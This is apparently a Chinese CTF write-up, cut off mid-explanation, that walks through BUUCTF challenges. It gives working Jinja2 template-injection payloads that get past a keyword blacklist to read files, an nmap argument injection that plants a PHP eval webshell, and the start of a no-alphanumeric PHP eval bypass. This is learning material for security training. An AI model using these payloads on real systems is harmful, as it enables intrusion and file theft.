<class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'concurrent.futures._base._Waiter'>, <class 'concurrent.futures._base._AcquireFutures'>, <class 'concurrent.futures._base.Future'>, <class 'concurrent.futures._base.Executor'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'asyncio.coroutines.CoroWrapper'>, <class 'asyncio.events.Handle'>, <class 'asyncio.events.AbstractServer'>, <class 'asyncio.events.AbstractEventLoop'>, <class 'asyncio.events.AbstractEventLoopPolicy'>, <class '_asyncio.Future'>, <class '_asyncio.FutureIter'>, <class 'TaskStepMethWrapper'>, <class 'TaskWakeupMethWrapper'>, <class '_RunningLoopHolder'>, <class 'asyncio.futures.Future'>, <class 'asyncio.protocols.BaseProtocol'>, <class 'asyncio.transports.BaseTransport'>, <class 'asyncio.sslproto._SSLPipe'>, <class 'asyncio.locks._ContextManager'>, <class 'asyncio.locks._ContextManagerMixin'>, <class 'asyncio.locks.Event'>, <class 'asyncio.queues.Queue'>, <class 'asyncio.streams.StreamWriter'>, <class 'asyncio.streams.StreamReader'>, <class 'asyncio.subprocess.Process'>, <class 'asyncio.unix_events.AbstractChildWatcher'>, <class 'jinja2.asyncsupport.AsyncLoopContextIterator'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'mimetypes.MimeTypes'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.urls.Href'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.middleware.dispatcher.DispatcherMiddleware'>, <class 'werkzeug.middleware.http_proxy.ProxyMiddleware'>, <class 'hmac.HMAC'>, <class 'werkzeug.middleware.shared_data.SharedDataMiddleware'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.exceptions.Aborter'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'ast.NodeVisitor'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'blinker._saferef.BoundMethodWeakref'>, <class 'blinker._utilities._symbol'>, <class 'blinker._utilities.symbol'>, <class 'blinker._utilities.lazy_property'>, <class 'blinker.base.Signal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'wtforms.validators.EqualTo'>, <class 'wtforms.validators.Length'>, <class 'wtforms.validators.NumberRange'>, <class 'wtforms.validators.Optional'>, <class 'wtforms.validators.DataRequired'>, <class 'wtforms.validators.InputRequired'>, <class 'wtforms.validators.Regexp'>, <class 'wtforms.validators.Email'>, <class 'wtforms.validators.IPAddress'>, <class 'wtforms.validators.UUID'>, <class 'wtforms.validators.AnyOf'>, <class 'wtforms.validators.NoneOf'>, <class 'wtforms.validators.HostnameValidation'>, <class 'wtforms.widgets.core.ListWidget'>, <class 'wtforms.widgets.core.TableWidget'>, <class 'wtforms.widgets.core.Input'>, <class 'wtforms.widgets.core.TextArea'>, <class 'wtforms.widgets.core.Select'>, <class 'wtforms.widgets.core.Option'>, <class 'wtforms.i18n.DefaultTranslations'>, <class 'wtforms.i18n.DummyTranslations'>, <class 'wtforms.utils.UnsetValue'>, <class 'wtforms.utils.WebobInputWrapper'>, <class 'wtforms.fields.core.Field'>, <class 'wtforms.fields.core.UnboundField'>, <class 'wtforms.fields.core.Flags'>, <class 'wtforms.fields.core.Label'>, <class 'wtforms.meta.DefaultMeta'>, <class 'wtforms.form.BaseForm'>, <class 'wtforms.csrf.core.CSRF'>, <class 'flask_wtf.csrf.CSRFProtect'>, <class 'flask_wtf.recaptcha.widgets.RecaptchaWidget'>, <class 'flask_wtf.recaptcha.validators.Recaptcha'>, <class 'dominate.dom_tag.dom_tag'>, <class 'dominate.dom1core.dom1core'>, <class 'visitor.Visitor'>, <class 'flask_bootstrap.CDN'>, <class 'flask_bootstrap.StaticCDN'>, <class 'flask_bootstrap.WebCDN'>, <class 'flask_bootstrap.ConditionalCDN'>, <class 'flask_bootstrap.Bootstrap'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'werkzeug.debug.repr._Helper'>, <class 'werkzeug.debug.repr.DebugReprGenerator'>, <class 'werkzeug.debug.console.HTMLStringO'>, <class 'werkzeug.debug.console.ThreadedStream'>, <class 'werkzeug.debug.console._ConsoleLoader'>, <class 'werkzeug.debug.console.Console'>, <class 'werkzeug.debug.tbtools.Line'>, <class 'werkzeug.debug.tbtools.Traceback'>, <class 'werkzeug.debug.tbtools.Group'>, <class 'werkzeug.debug.tbtools.Frame'>, <class 'werkzeug.debug._ConsoleFrame'>, <class 'werkzeug.debug.DebuggedApplication'>, <class 'werkzeug._reloader.ReloaderLoop'>, <class 'unicodedata.UCD'>, <class 'jinja2.debug.TracebackFrameProxy'>, <class 'jinja2.debug.ProcessedTraceback'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>]\n"]

进程已结束,退出代码0

调用内置类,查出来是并发锁类,再调用初始化方法:

请输入注入语句:{{().__class__.__bases__[0].__subclasses__()[75]}}
返回的结果为:
[" <class '_frozen_importlib._ModuleLock'>\n"]

请输入注入语句:{{().__class__.__bases__[0].__subclasses__()[75].__init__}}
返回的结果为:
[' <function _ModuleLock.__init__ at 0x7ff9d73d9290>\n']

调用全局进行访问函数所在的全局命名空间

请输入注入语句:{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__}}
返回的结果为:
[' {\'__name__\': \'importlib._bootstrap\', \'__doc__\': \'Core implementation of import.\\n\\nThis module is NOT meant to be directly imported! It has been designed such\\nthat it can be bootstrapped into Python as the implementation of import. As\\nsuch it requires the injection of specific modules and attributes in order to\\nwork. One should use importlib as the public-facing version of this module.\\n\\n\', \'__package__\': \'importlib\', \'__loader__\': <class \'_frozen_importlib.FrozenImporter\'>, \'__spec__\': ModuleSpec(name=\'_frozen_importlib\', loader=<class \'_frozen_importlib.FrozenImporter\'>), \'__builtins__\': {\'__name__\': \'builtins\', \'__doc__\': "Built-in functions, exceptions, and other objects.\\n\\nNoteworthy: None is the `nil\' object; Ellipsis represents `...\' in slices.", \'__package__\': \'\', \'__loader__\': <class \'_frozen_importlib.BuiltinImporter\'>, \'__spec__\': ModuleSpec(name=\'builtins\', loader=<class \'_frozen_importlib.BuiltinImporter\'>), \'__build_class__\': <built-in function __build_class__>, \'__import__\': <built-in function __import__>, \'abs\': <built-in function abs>, \'all\': <built-in function all>, \'any\': <built-in function any>, \'ascii\': <built-in function ascii>, \'bin\': <built-in function bin>, \'breakpoint\': <built-in function breakpoint>, \'callable\': <built-in function callable>, \'chr\': <built-in function chr>, \'compile\': <built-in function compile>, \'delattr\': <built-in function delattr>, \'dir\': <built-in function dir>, \'divmod\': <built-in function divmod>, \'eval\': <built-in function eval>, \'exec\': <built-in function exec>, \'format\': <built-in function format>, \'getattr\': <built-in function getattr>, \'globals\': <built-in function globals>, \'hasattr\': <built-in function hasattr>, \'hash\': <built-in function hash>, \'hex\': <built-in function hex>, \'id\': <built-in function id>, \'input\': <built-in function input>, \'isinstance\': <built-in function isinstance>, \'issubclass\': <built-in function issubclass>, \'iter\': <built-in function iter>, \'len\': <built-in function len>, \'locals\': <built-in function locals>, \'max\': <built-in function max>, \'min\': <built-in function min>, \'next\': <built-in function next>, \'oct\': <built-in function oct>, \'ord\': <built-in function ord>, \'pow\': <built-in function pow>, \'print\': <built-in function print>, \'repr\': <built-in function repr>, \'round\': <built-in function round>, \'setattr\': <built-in function setattr>, \'sorted\': <built-in function sorted>, \'sum\': <built-in function sum>, \'vars\': <built-in function vars>, \'None\': None, \'Ellipsis\': Ellipsis, \'NotImplemented\': NotImplemented, \'False\': False, \'True\': True, \'bool\': <class \'bool\'>, \'memoryview\': <class \'memoryview\'>, \'bytearray\': <class \'bytearray\'>, \'bytes\': <class \'bytes\'>, \'classmethod\': <class \'classmethod\'>, \'complex\': <class \'complex\'>, \'dict\': <class \'dict\'>, \'enumerate\': <class \'enumerate\'>, \'filter\': <class \'filter\'>, \'float\': <class \'float\'>, \'frozenset\': <class \'frozenset\'>, \'property\': <class \'property\'>, \'int\': <class \'int\'>, \'list\': <class \'list\'>, \'map\': <class \'map\'>, \'object\': <class \'object\'>, \'range\': <class \'range\'>, \'reversed\': <class \'reversed\'>, \'set\': <class \'set\'>, \'slice\': <class \'slice\'>, \'staticmethod\': <class \'staticmethod\'>, \'str\': <class \'str\'>, \'super\': <class \'super\'>, \'tuple\': <class \'tuple\'>, \'type\': <class \'type\'>, \'zip\': <class \'zip\'>, \'__debug__\': True, \'BaseException\': <class \'BaseException\'>, \'Exception\': <class \'Exception\'>, \'TypeError\': <class \'TypeError\'>, \'StopAsyncIteration\': <class \'StopAsyncIteration\'>, \'StopIteration\': <class \'StopIteration\'>, \'GeneratorExit\': <class \'GeneratorExit\'>, \'SystemExit\': <class \'SystemExit\'>, \'KeyboardInterrupt\': <class \'KeyboardInterrupt\'>, \'ImportError\': <class \'ImportError\'>, \'ModuleNotFoundError\': <class \'ModuleNotFoundError\'>, \'OSError\': <class \'OSError\'>, \'EnvironmentError\': <class \'OSError\'>, \'IOError\': <class \'OSError\'>, \'EOFError\': <class \'EOFError\'>, \'RuntimeError\': <class \'RuntimeError\'>, \'RecursionError\': <class \'RecursionError\'>, \'NotImplementedError\': <class \'NotImplementedError\'>, \'NameError\': <class \'NameError\'>, \'UnboundLocalError\': <class \'UnboundLocalError\'>, \'AttributeError\': <class \'AttributeError\'>, \'SyntaxError\': <class \'SyntaxError\'>, \'IndentationError\': <class \'IndentationError\'>, \'TabError\': <class \'TabError\'>, \'LookupError\': <class \'LookupError\'>, \'IndexError\': <class \'IndexError\'>, \'KeyError\': <class \'KeyError\'>, \'ValueError\': <class \'ValueError\'>, \'UnicodeError\': <class \'UnicodeError\'>, \'UnicodeEncodeError\': <class \'UnicodeEncodeError\'>, \'UnicodeDecodeError\': <class \'UnicodeDecodeError\'>, \'UnicodeTranslateError\': <class \'UnicodeTranslateError\'>, \'AssertionError\': <class \'AssertionError\'>, \'ArithmeticError\': <class \'ArithmeticError\'>, \'FloatingPointError\': <class \'FloatingPointError\'>, \'OverflowError\': <class \'OverflowError\'>, \'ZeroDivisionError\': <class \'ZeroDivisionError\'>, \'SystemError\': <class \'SystemError\'>, \'ReferenceError\': <class \'ReferenceError\'>, \'MemoryError\': <class \'MemoryError\'>, \'BufferError\': <class \'BufferError\'>, \'Warning\': <class \'Warning\'>, \'UserWarning\': <class \'UserWarning\'>, \'DeprecationWarning\': <class \'DeprecationWarning\'>, \'PendingDeprecationWarning\': <class \'PendingDeprecationWarning\'>, \'SyntaxWarning\': <class \'SyntaxWarning\'>, \'RuntimeWarning\': <class \'RuntimeWarning\'>, \'FutureWarning\': <class \'FutureWarning\'>, \'ImportWarning\': <class \'ImportWarning\'>, \'UnicodeWarning\': <class \'UnicodeWarning\'>, \'BytesWarning\': <class \'BytesWarning\'>, \'ResourceWarning\': <class \'ResourceWarning\'>, \'ConnectionError\': <class \'ConnectionError\'>, \'BlockingIOError\': <class \'BlockingIOError\'>, \'BrokenPipeError\': <class \'BrokenPipeError\'>, \'ChildProcessError\': <class \'ChildProcessError\'>, \'ConnectionAbortedError\': <class \'ConnectionAbortedError\'>, \'ConnectionRefusedError\': <class \'ConnectionRefusedError\'>, \'ConnectionResetError\': <class \'ConnectionResetError\'>, \'FileExistsError\': <class \'FileExistsError\'>, \'FileNotFoundError\': <class \'FileNotFoundError\'>, \'IsADirectoryError\': <class \'IsADirectoryError\'>, \'NotADirectoryError\': <class \'NotADirectoryError\'>, \'InterruptedError\': <class \'InterruptedError\'>, \'PermissionError\': <class \'PermissionError\'>, \'ProcessLookupError\': <class \'ProcessLookupError\'>, \'TimeoutError\': <class \'TimeoutError\'>, \'open\': <built-in function open>, \'quit\': Use quit() or Ctrl-D (i.e. EOF) to exit, \'exit\': Use exit() or Ctrl-D (i.e. EOF) to exit, \'copyright\': Copyright (c) 2001-2019 Python Software Foundation.\n']
['All Rights Reserved.\n']
['\n']
['Copyright (c) 2000 BeOpen.com.\n']
['All Rights Reserved.\n']
['\n']
['Copyright (c) 1995-2001 Corporation for National Research Initiatives.\n']
['All Rights Reserved.\n']
['\n']
['Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\n']
["All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands\n"]
[" for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, '_bootstrap_external': <module 'importlib._bootstrap_external' (frozen)>, '_wrap': <function _wrap at 0x7ff9d73d90e0>, '_new_module': <function _new_module at 0x7ff9d73d9170>, '_module_locks': {}, '_blocking_on': {}, '_DeadlockError': <class '_frozen_importlib._DeadlockError'>, '_ModuleLock': <class '_frozen_importlib._ModuleLock'>, '_DummyModuleLock': <class '_frozen_importlib._DummyModuleLock'>, '_ModuleLockManager': <class '_frozen_importlib._ModuleLockManager'>, '_get_module_lock': <function _get_module_lock at 0x7ff9d73d9200>, '_lock_unlock_module': <function _lock_unlock_module at 0x7ff9d73d9950>, '_call_with_frames_removed': <function _call_with_frames_removed at 0x7ff9d73d99e0>, '_verbose_message': <function _verbose_message at 0x7ff9d73d9a70>, '_requires_builtin': <function _requires_builtin at 0x7ff9d73d9b00>, '_requires_frozen': <function _requires_frozen at 0x7ff9d73d9b90>, '_load_module_shim': <function _load_module_shim at 0x7ff9d73d9c20>, '_module_repr': <function _module_repr at 0x7ff9d73d9cb0>, '_installed_safely': <class '_frozen_importlib._installed_safely'>, 'ModuleSpec': <class '_frozen_importlib.ModuleSpec'>, 'spec_from_loader': <function spec_from_loader at 0x7ff9d73d9d40>, '_spec_from_module': <function _spec_from_module at 0x7ff9d73dc440>, '_init_module_attrs': <function _init_module_attrs at 0x7ff9d73dc4d0>, 'module_from_spec': <function module_from_spec at 0x7ff9d73dc560>, '_module_repr_from_spec': <function _module_repr_from_spec at 0x7ff9d73dc5f0>, '_exec': <function _exec at 0x7ff9d73dc680>, '_load_backward_compatible': <function _load_backward_compatible at 0x7ff9d73dc710>, '_load_unlocked': <function _load_unlocked at 0x7ff9d73dc7a0>, '_load': <function _load at 0x7ff9d73dc830>, 'BuiltinImporter': <class '_frozen_importlib.BuiltinImporter'>, 'FrozenImporter': <class '_frozen_importlib.FrozenImporter'>, '_ImportLockContext': <class '_frozen_importlib._ImportLockContext'>, '_resolve_name': <function _resolve_name at 0x7ff9d73dc8c0>, '_find_spec_legacy': <function _find_spec_legacy at 0x7ff9d73df830>, '_find_spec': <function _find_spec at 0x7ff9d73df8c0>, '_sanity_check': <function _sanity_check at 0x7ff9d73df950>, '_ERR_MSG_PREFIX': 'No module named ', '_ERR_MSG': 'No module named {!r}', '_find_and_load_unlocked': <function _find_and_load_unlocked at 0x7ff9d73df9e0>, '_NEEDS_LOADING': <object object at 0x7ff9d73c7060>, '_find_and_load': <function _find_and_load at 0x7ff9d73dfa70>, '_gcd_import': <function _gcd_import at 0x7ff9d73dfb00>, '_handle_fromlist': <function _handle_fromlist at 0x7ff9d73dfb90>, '_calc___package__': <function _calc___package__ at 0x7ff9d73dfc20>, '__import__': <function __import__ at 0x7ff9d73dfcb0>, '_builtin_from_name': <function _builtin_from_name at 0x7ff9d73dfd40>, '_setup': <function _setup at 0x7ff9d73dfdd0>, '_install': <function _install at 0x7ff9d73dfe60>, '_install_external_importers': <function _install_external_importers at 0x7ff9d73dfef0>, '_imp': <module '_imp' (built-in)>, 'sys': <module 'sys' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, '__file__': '/usr/local/lib/python3.7/importlib/_bootstrap.py'}\n"]

__builtins__ 是 Python 中内置命名空间的一个引用,它是一个字典,包含了 Python 解释器启动时默认加载的一些内置函数、类型和模块。调用这个模块进行函数执行:

请输入注入语句:{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('app.py').read()}}
返回的结果为:
[' from flask import Flask,render_template_string\n']
['from flask import render_template,request,flash,redirect,url_for\n']
['from flask_wtf import FlaskForm\n']
['from wtforms import StringField, SubmitField\n']
['from wtforms.validators import DataRequired\n']
['from flask_bootstrap import Bootstrap\n']
['import base64\n']
['\n']
['app = Flask(__name__)\n']
["app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'\n"]
['bootstrap = Bootstrap(app)\n']
['\n']
['class NameForm(FlaskForm):\n']
[" text = StringField('BASE64加密',validators= [DataRequired()])\n"]
[" submit = SubmitField('提交')\n"]
['class NameForm1(FlaskForm):\n']
[" text = StringField('BASE64解密',validators= [DataRequired()])\n"]
[" submit = SubmitField('提交')\n"]
['\n']
['def waf(str):\n']
[' black_list = ["flag","os","system","popen","import","eval","chr","request",\n']
[' "subprocess","commands","socket","hex","base64","*","?"]\n']
[' for x in black_list :\n']
[' if x in str.lower() :\n']
[' return 1\n']
['\n']
['\n']
["@app.route('/hint',methods=['GET'])\n"]
['def hint():\n']
[' txt = "失败乃成功之母!!"\n']
[' return render_template("hint.html",txt = txt)\n']
['\n']
['\n']
["@app.route('/',methods=['POST','GET'])\n"]
['def encode():\n']
[" if request.values.get('text') :\n"]
[' text = request.values.get("text")\n']
[' text_decode = base64.b64encode(text.encode())\n']
[' tmp = "结果 :{0}".format(str(text_decode.decode()))\n']
[' res = render_template_string(tmp)\n']
[' flash(tmp)\n']
[" return redirect(url_for('encode'))\n"]
['\n']
[' else :\n']
[' text = ""\n']
[' form = NameForm(text)\n']
[' return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")\n']
['\n']
["@app.route('/decode',methods=['POST','GET'])\n"]
['def decode():\n']
[" if request.values.get('text') :\n"]
[' text = request.values.get("text")\n']
[' text_decode = base64.b64decode(text.encode())\n']
[' tmp = "结果 : {0}".format(text_decode.decode())\n']
[' if waf(tmp) :\n']
[' flash("no no no !!")\n']
[" return redirect(url_for('decode'))\n"]
[' res = render_template_string(tmp)\n']
[' flash( res )\n']
[" return redirect(url_for('decode'))\n"]
['\n']
[' else :\n']
[' text = ""\n']
[' form = NameForm1(text)\n']
[' return render_template("index.html",form = form, method = "解密" , img = "flask1.png")\n']
['\n']
['\n']
["@app.route('/<name>',methods=['GET'])\n"]
['def not_found(name):\n']
[' return render_template("404.html",name = name)\n']
['\n']
["if __name__ == '__main__':\n"]
[' app.run(host="0.0.0.0", port=5000, debug=True)\n']
['\n']

当前页面的文件可以使用报错进行查看。报错的方法:在解密base64页面进行随意的输入并且解密即可获得部分泄露的调试信息(debug)。

下面是获取的完整源码:

from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField('提交')

class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')


def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

@app.route('/hint',methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)





@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")



@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")


@app.route('/<name>',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)

上面存在一个过滤:

["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]

导入os对文件的目录进行读取

请输入注入语句:{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').listdir('/')}}
返回的结果为:
['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']

使用open读取文件内容:

请输入注入语句:{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('txt.galf_eht_si_siht/'[::-1]).read()}}
返回的结果为:
flag{23dd507e-bb3a-44d4-807d-35e972d27fdc}

总算是解决了。(小菜鸡狂喜`(∩_∩)′)

还有部分另类的解决方案,核心还是在于调用函数读取。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

参考博客:bfenji

总结

思想:
有输入输出八成有注入点
登录框优先考虑爆破,注入,模板
__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__
组合功能相当于导入并且执行某个内置类
一步不能缺,__builtins__是关键的类似于函数调用的方法

[BUUCTF 2018]Online Tool

原始信息

 <?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

解题

nmap脚本命令

构造' <?= @eval($_POST["hack"]);?> -oG hack.php '

返回

you are in sandbox 17cd0e9678e131100db4731a9b4d80faStarting Nmap 7.70 ( https://nmap.org ) at 2023-09-24 01:26 UTC
Nmap done: 0 IP addresses (0 hosts up) scanned in 4.02 seconds
Nmap done: 0 IP addresses (0 hosts up) scanned in 4.02 seconds

菜刀连接

http://xxx.xxx.cn:81/17cd0e9678e131100db4731a9b4d80fa/hack.php
key:hack

参考

[极客大挑战 2019]RCE ME

原始信息

 <?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

解题

题目锁死了注入的字母数字,说明是要用到无字母数字的php命令执行。

这里先贴出一个宝藏博客参考

原本想使用异或绕过限制的,但是异或注入实在是太长了。。。。

这里使用取反绕过。

取反的方法如下:

#本地的php当中使用如下操作获得取反字符串
$ php -r "var_dump(urlencode(~'phpinfo'));"
string(21) "%8F%97%8F%96%91%99%90"
